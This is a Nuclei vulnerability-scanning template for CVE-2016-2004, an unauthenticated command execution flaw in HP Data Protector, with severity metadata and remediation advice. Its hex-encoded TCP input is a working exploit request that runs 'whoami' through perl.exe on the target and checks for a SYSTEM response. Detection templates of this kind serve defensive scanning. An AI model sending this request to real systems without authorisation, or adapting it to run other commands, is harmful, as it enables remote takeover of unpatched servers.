CVE-2016-2004: HP Data Protector - Arbitrary Command Execution

2025-08-01 HP Data Protector PoC Public

Description

HPE Data Protector before 7.03_108, 8.x before 8.15, and 9.x before 9.06 allow remote attackers to execute arbitrary code via unspecified vectors related to lack of authentication. This vulnerability exists because of an incomplete fix for CVE-2014-2623.

PoC

id: CVE-2016-2004

info:
  name: HP Data Protector - Arbitrary Command Execution
  author: pussycat0x
  severity: critical
  description: HPE Data Protector before 7.03_108, 8.x before 8.15, and 9.x before 9.06 allow remote attackers to execute arbitrary code via unspecified vectors related to lack of authentication. This vulnerability exists because of an incomplete fix for CVE-2014-2623.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands with the privileges of the Data Protector service account.
  remediation: |
    Upgrade to the most recent version of HP Data Protector.
  reference:
    - https://www.exploit-db.com/exploits/39858
    - https://nvd.nist.gov/vuln/detail/CVE-2016-2004
    - http://www.kb.cert.org/vuls/id/267328
    - https://www.exploit-db.com/exploits/39858/
    - http://packetstormsecurity.com/files/137199/HP-Data-Protector-A.09.00-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-2004
    cwe-id: CWE-306
    epss-score: 0.92308
    epss-percentile: 0.99706
    cpe: cpe:2.3:a:hp:data_protector:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hp
    product: data_protector
  tags: packetstorm,cve,cve2016,network,iot,hp,rce,edb,tcp,vuln

tcp:
  - host:
      - "{{Hostname}}"

    inputs:
      - data: "00000034320001010101010100010001000100010100203238005c7065726c2e65786500202d6573797374656d282777686f616d69272900" # whoami
        type: hex

    matchers:
      - type: word
        encoding: hex
        words:
          - "00000034fffe3900000020006e007400200061007500740068006f0072006900740079005c00730079007300740065006d000a0000000000" # authority\system
# digest: 4a0a00473045022100b3e65c7bf02a4bfa737b483c379c9213474d82289f4d29c4f16f822f982f18df022040df9094e7eb19fa1f6ac2e8d6e532db3f0ac5f5517a135f5e14a8d3a42368e2:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2016/CVE-2016-2004.yaml

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